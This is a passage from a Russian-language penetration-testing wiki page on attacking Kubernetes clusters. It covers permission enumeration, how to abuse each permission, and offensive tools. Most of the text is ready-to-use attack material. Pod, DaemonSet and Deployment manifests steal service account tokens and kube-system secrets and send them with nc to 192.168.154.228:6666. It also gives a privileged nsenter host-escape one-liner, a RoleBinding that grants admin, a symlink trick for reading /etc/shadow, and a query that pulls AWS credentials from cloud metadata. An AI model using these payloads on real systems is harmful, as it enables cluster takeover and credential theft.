curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)
Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:
kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml
Другие команды для получения информации о текущей роли:
# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account
# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles
# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings
# Список ролей
kubectl get roles
kubectl describe roles
# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ
Привилегии - services
Services нужны для предоставления служб через определенный порт и ip (по-факту load-balancer).
Доступ list
Получить список сервисов. Полезно тем, что позволяет получить новые сервисы, которые могут быть целью дальнейших атак.
kubectl
kubectl get services
kubectl get svc
Привилегии - api-resources
Описание Kubernetes-API (куда мы можем стучаться)
Доступ get
Позволяет получить список ресурсов, на которые мы можем применять действие list.
kubectl
kubectl api-resources --namespaced=true
kubectl api-resources --namespaced=false
curl
Делает очень много запросов, лучше использовать kubectl.
Привилегии - roles
Существующие роли и действия с ними.
Доступ list
Позволяет вывести все роли.
kubectl
kubectl get roles
curl
curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" --header "Authorization: Bearer $TOKEN" -k
Привилегии - ClusterRoles
Существующие роли кластеров и действия с ними.
Доступ list
Позволяет вывести все роли кластеров.
kubectl
kubectl get clusterroles
curl
curl -s "$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" --header "Authorization: Bearer $TOKEN" -k
Привилегии - Namespaces
Работа с пространствами имен.
Доступ list
Позволяет вывести все пространства имен kubernetes.
kubectl
kubectl get namespaces
curl
curl -s "$APISERVER/api/v1/namespaces/" --header "Authorization: Bearer $TOKEN" -k
Привилегии - serviceaccounts
Позволяет работать с сервисными аккаунтами.
Доступ list
Получить список аккаунтов, которые, например, можно будет использовать при бруте.
kubectl
kubectl get serviceaccounts
curl
curl -s $APISERVER/api/v1/namespaces/default/serviceaccounts/ --header "Authorization: Bearer $TOKEN" -k
Привилегии - Nodes
Node - машина в вашем кластере на котором будут Pod'ы.
Доступ list
Позволяет получить список Nodes, которые в дальнейшем могут быть целью атаки.
kubectl
kubectl get nodes
curl
curl -s $APISERVER/api/v1/nodes/ --header "Authorization: Bearer $TOKEN" -k
Привилегии - secrets
Относится к etcd - хранилище секретов.
Доступ list
Позволяет получить список всех секретов в namespace.
kubectl
kubectl get secrets
curl
curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" -k
curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
Доступ get
Позволяет прочитать секрет.
Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.
Пример названия секрета пользователя drakylar-admin:
drakylalr-admin-token-sgjbp
где sgjbp - случайная строка.
kubectl
Получить секрет по имени
kubectl get secrets secret_name -o yaml
curl
curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
Привилегии - logs
Просмотр логов от Pod'ов.
Доступ get
Позволяет просмотреть логи Pod'а.
kubectl logs pod_name
В определенном случае позволяет читать файлы хостовой системы.
Условия:
1. Доступ на запись внутри контейнера по пути /var/logs/pods/namespace_pod_uid/container/
2. Права get на чтение логов данного контейнера
Эксплуатация:
1. Создать символьную ссылку /var/logs/pods/namespace_pod_uid/container/0.log, которая будет указывать на /etc/shadow (или другой файл хостовой системы).
2. Выполнить команды:
kubectl logs pod_name
kubectl logs pod_name --tail=2
Таким образом вы сможете читать файлы хостовой системы.
Второй вариант эксплуатации проще: если у атакующего есть на хостовой машине права чтения nodes/log, то он может создать следующую символьную ссылку:
/host-mounted/var/log/sym -> /
И делать запросы на
https://<gateway>:10250/logs/sym/
Там будет доступен список файлов системы (экспериментируйте с symlink).
Подробнее почитать тут: https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Аналогичное достигается в обходе allowedHostPaths. Можно не вдаваться, ссылка желающим почитать https://jackleadford.github.io/containers/2020/03/06/pvpost.html
Привилегии - pods
Доступ list
Получить список Pod'ов. Полезно для дальнейшего продвижения по сети компании.
kubectl
kubectl get pods
curl
curl -v -s $APISERVER/api/v1/namespaces/<namespace>/pods/ --header "Authorization: Bearer $TOKEN" -k
Доступ port-forward
Не знал, куда добавлять, поэтому будет тут.
Суть в том, что можно прокинуть порт с удаленного Pod'а на локальную машину.
Полезно например если хотите достучаться до уязвимого сервиса.
kubectl
kubectl port-forward pod/mypod 5000:5000
Доступ create
Позволяет создавать новые Pod'ы.
Три варианта эксплуатации:
1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.
2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)
3. Запуск майнера
kubectl
Для этого требуется создать yaml-файл со следующим содержимым:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
volumes:
- name: host-volume
hostPath:
path: /
И выполнить его командой:
kubectl apply -f malicious-pod.yaml
Что делает созданный Pod:
1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)
2. hostPID - работа с хостовыми PID (см. главу Docker_escape)
3. hostIPC - работа с хостовыми IPC (см. главу Docker_escape)
4. hostNetwork - работа с хостовыми сетями (см. главу Docker_escape)
5. volumeMounts - хостовая файловая система, доступная по /host (см. главу Docker_escape)
Если вам не нужна кража токена, то однострочник для запуска:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
curl
Для запросов через curl, требуется создать json-файл.
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "alpine"
},
"spec": {
"restartPolicy": true,
"hostIPC": true,
"hostNetwork": true,
"hostPID": true,
"volumes": [
{
"name": "host-volume",
"hostPath": {
"path": "/"
}
}
],
"containers": [
{
"name": "alpine",
"image": "alpine",
"commands": ["/bin/sh"],
"args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
"serviceAccountName" : "bootstrap-signer",
"automountServiceAccountToken": true,
"hostNetwork": true,
"imagePullPolicy": "IfNotPresent",
"securityContext": {
"allowPrivilegeEscalation": true,
"privileged": true,
"runAsUser": 0
},
"volumesMount": [
{
"mountPath": "/host",
"name": "host-volume"
}
]
}
]
}
}
И выполнить запрос:
curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Но! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.
Доступ exec
Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды.
kubectl
kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash
Привилегии - DaemonSet
DaemonSet - создание копии Pod'а.
Доступ - list
Позволяет получить список DaemonSets, которые в дальнейшем могут быть выбраны целью для атаки.
kubectl
kubectl get daemonsets
curl
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply --header "Authorization: Bearer $TOKEN" -k
curl -v -s $APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets --header "Authorization: Bearer $TOKEN" -k
Доступ - create
Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда.
В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.
При желании, конфиг можно отредактировать, добавив:
1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему
Все это можно найти в главе выше "Pods - create".
kubectl
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
kubectl apply -f malicious-pod.yaml
curl
{
"apiVersion": "apps/v1",
"kind": "DaemonSet",
"metadata": {
"name": "alpine",
"namespace": "kube-system"
},
"spec": {
"selector": {
"matchLabels": {
"name": "alpine"
}
},
"template": {
"metadata": {
"labels": {
"name": "alpine"
}
},
"spec": {
"serviceAccountName": "bootstrap-signer",
"automountServiceAccountToken": true,
"hostNetwork": true,
"containers": [
{
"name": "alpine",
"image": "alpine",
"command": [
"/bin/sh"
],
"args": [
"-c",
"apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
]
}
]
}
}
}
}
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Привилегии - Deployment
Deployment - представление работающего приложения в кластере (например, количество его репликаций).
Доступ - list
Получить список всех deployments
kubectl
kubectl get deployments
kubectl get deployments -n custnamespace
curl
curl -v -s $APISERVER/api/v1/namespaces/<namespace>/deployments/ --header "Authorization: Bearer $TOKEN" -k
Доступ - create
Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.
В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.
При желании, конфиг можно отредактировать, добавив:
1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему
Все это можно найти в главе выше "Pods - create".
kubectl
apiVersion: apps/v1
kind: Deployment
metadata:
name: alpine
namespace: kube-system
spec:
replicas: 1
selector:
matchLabels:
app: alpine
template:
metadata:
labels:
app: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
kubectl apply -f malicious-deployment.yaml
curl
{
"apiVersion": "apps/v1",
"kind": "Deployment",
"metadata": {
"name": "alpine",
"namespace": "kube-system"
},
"spec": {
"replicas": 1,
"selector": {
"matchLabels": {
"app": "alpine"
}
},
"template": {
"metadata": {
"labels": {
"app": "alpine"
}
},
"spec": {
"serviceAccountName": "bootstrap-signer",
"automountServiceAccountToken": true,
"hostNetwork": true,
"containers": [
{
"name": "alpine",
"image": "alpine",
"command": [
"/bin/sh"
],
"args": [
"-c",
"apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
]
}
]
}
}
}
}
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Привилегии - Statefulsets
Statefulsets - представление работающего приложения в кластере (например, количество его репликаций), схоже с Deployment.
Доступ - create
Аналогично "Pods - create", мы можем создать Statefulsets, у которого при старте будет выполняться наша команда.
TODO
Привилегии - Replicationcontrollers
Replicationcontrollers - организация репликаций приложений.
Доступ - create
Аналогично "Pods - create", мы можем создать Replicationcontrollers, у которого при старте будет выполняться наша команда.
TODO
Привилегии - Replicasets
Replicasets - организация репликаций приложений, схоже с Replicationcontrollers.
Доступ - create
Аналогично "Pods - create", мы можем создать Replicasets, у которого при старте будет выполняться наша команда.
TODO
Привилегии - Jobs
Jobs - запускает один или несколько Pod'ов и будет пытаться повторить их запуск пока определенное количество Pod'ов не завершится успешно.
Доступ - create
Аналогично "Pods - create", мы можем создать Jobs, у которого при старте будет выполняться наша команда.
TODO
Привилегии - Cronjobs
Cronjobs - запускает Jobs по расписанию.
Доступ - list
Позволяет получить список CronJobs, которые в дальнейшем могут быть выбраны целью для атаки.
kubectl
kubectl get cronjobs
curl
curl -v -s $APISERVER/apis/batch/v1/namespaces/default/cronjobs --header "Authorization: Bearer $TOKEN" -k
curl -v -s $APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs --header "Authorization: Bearer $TOKEN" -k
Доступ - create
Аналогично "Pods - create", мы можем создать Cronjobs, у которого при старте будет выполняться наша команда.
TODO
Привилегии - RoleBinding
RoleBinding - связывает пользователей и роли.
Доступ - create
Мы можем прикрепить к нашему пользователю роль администратора и получить контроль над kuberntetes.
kubectl
Создаем YAML-файл (указать kind, name и namespace аккаунта - в примере sa-comp):
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: malicious-rolebinding
namespaces: default
roleRef:
apiGroup: '*'
kind: ClusterRole
name: admin
subjects:
- kind: ServiceAccount
name: sa-comp
namespace: default
Выполняем файл:
kubectl apply -f malicious-rolebinding.yaml
curl
Создаем JSON-файл (указать kind, name и namespace аккаунта - в примере sa-comp):
{
"apiVersion": "rbac.authorization.k8s.io/v1",
"kind": "RoleBinding",
"metadata": {
"name": "malicious-rolebinding",
"namespaces": "default"
},
"roleRef": {
"apiGroup": "*",
"kind": "ClusterRole",
"name": "admin"
},
"subjects": [
{
"kind": "ServiceAccount",
"name": "sa-comp",
"namespace": "default"
}
]
}
Выполняем запрос
curl -v -s $APISERVER/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -H "Content-Type: application/json" -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Привилегии - Impersonate
Impersonate - позволяет делать запросы от имени другого аккаунта.
kubectl
kubectl get secrets --as=superman --as-group=system:masters
curl
curl -v -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -k
Примеры заголовков, которые могут потребоваться:
Impersonate-User: jane.doe@example.com
Impersonate-Group: developers
Impersonate-Group: admins
Impersonate-User: jane.doe@example.com
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development
Impersonate-Uid: 06f6ce97-e2c5-4ab8-7ba5-7654dd08d52b
Стороннее ПО
cAdvisor
Собирает статистику по контейнерам.
Репозиторий: https://github.com/google/cadvisor
Порты: 4194/tcp.
Получение информации
curl -k https://<IP Address>:4194
Calico
Дополнение Kubernetes, которое позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes.
Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico).
Calico - Typha
Компонент Calico для расширения Kubernetes deployment.
Порты: 5473/tcp.
Weave Score
Инструмент для мониторинга кластеров Docker и Kubernetes.
Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).
Helm
Пакетный менеджер для Kubernetes. Используется для управления чартами (чарт - набор данных для создания приложения в кластере).
Порты: 44134/tcp (tiller).
Поиск
kubectl
Для поиска можно выполнить следующие команды:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
nmap
nmap -sV -v -p 44134 <subnet>
Взаимодействие с сервисом
Для взаимодействия с сервисом нужна утилита helm, после чего можно подключиться командой:
helm --host tiller-deploy.kube-system:44134 version
Эксплуатация
Повышение привилегий
Тк по умолчанию Helm2 установлен в kube-system namespace с большими привилегиями, то достаточно загрузить на него специальный проект https://github.com/Ruil1n/helm-tiller-pwn , который позволяет запускать команды:
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart
Подробнее про атаку: http://rui0.cn/archives/1573
Open Policy Agent
Система применения политик в различных системах (не только Kubernetes)
Gatekeeper
Дает возможность принудительного применения политик в кластере Kubernetes.
Облака
В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию.
Тут будет кратко, подробно про облака смотрите в соответствующих вики-заметках
Amazon AWS
В случае с AWS кратко: можно получить API-токен из контейнера путем запроса по следующему адресу:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
А дальше с этим токеном уже идти на страницу AWS и смотреть как дальше пентестить.
Автоматизация эксплуатации
ctrsploit
https://github.com/ctrsploit/ctrsploit
Запуск внутри контейнера, с эксплуатацией повышения привилегий.
Сбор информации
./ctrsploit env w
./ctrsploit env g
./ctrsploit env c
./ctrsploit env cap
./ctrsploit env s
./ctrsploit env a
./ctrsploit env f
Эксплуатация
./ctrsploit e <название эксплоита>
Список эксплоитов на момент создания статьи (v0.5.2):
cgroupv1-release_agent, ra escape tech by using the notify_on_release of cgroup v1
cgroupv1-release_agent-unknown_rootfs, ra3 escape tech by using the notify_on_release of cgroup v1 without known rootfs
cgroup_mount-bypass-cgroupv1-release_agent, ra2, cve-2022-0492, 0492, cgroup_mount_bypass cve-2022-0492: escape tech by using the notify_on_release of cgroup v1 after cgroup_mount bypass
CVE-2021-22555, 22555 escape tech by using the CVE-2021-22555
CVE-2020-8555, 8555 k8s CVE-2020-8555 SSRF
CVE-2017-1002101, subPath1, 1002101, CVE-2017-1002101, 2017-1002101 CVE-2017-1002101
help, h Shows a list of commands or help for one command
kube-hunter
https://github.com/aquasecurity/kube-hunter
Больше по сетевому взаимодействию, умеет работать с конфигами и удаленно.
Много настроек, примеры запуска:
kube-hunter --cidr 192.168.0.0/24 --active
kube-hunter --remote some.domain.com --active
kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
CDK
https://github.com/cdk-team/CDK
Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes).
Состоит из 3х модулей:
1. Evaluate - Сбор информации
2. Exploit - Запуск эксплоитов
3. Tool - Дополнительные инструменты.
Также есть версии:
1. All - максимальные проверки
2. Normal
3. Thin - оптимизация для контейнеров с коротким жизненным циклом
4. Upx - помогает обходить сигнатурные средства защиты
Сбор информации
cdk evaluate --full
Эксплуатация
cdk run --list
cdk run <script-name> [options]
Сторонние утилиты
cdk nc
cdk ps
Полный список утилит в README.md
kdigger
https://github.com/quarkslab/kdigger
Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет. Схоже функционалом с amicontained, но поновее.
Также делает дополнительные проверки, которые могут помочь при container escape.
Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a.
Peirates
https://github.com/inguardians/peirates
Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node.
Очень много опций, лучше самостоятельно изучить при запуске.
BOtB
https://github.com/brompwnie/botb
Утилита для анализа и эксплуатации контейнеров.
В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты.
DEEPCE
https://stealthcopter.github.io/deepce/
https://github.com/stealthcopter/deepce
Повышение привилегий/побег из контейнера docker.
kubesploit
https://github.com/cyberark/kubesploit
Post-Exploitation framework. Много модулей:
- Побег из контейнера
- Поиск информации kubernetes (сеть)
- Сканы контейнеров kubeletctl
Ссылки
Заметки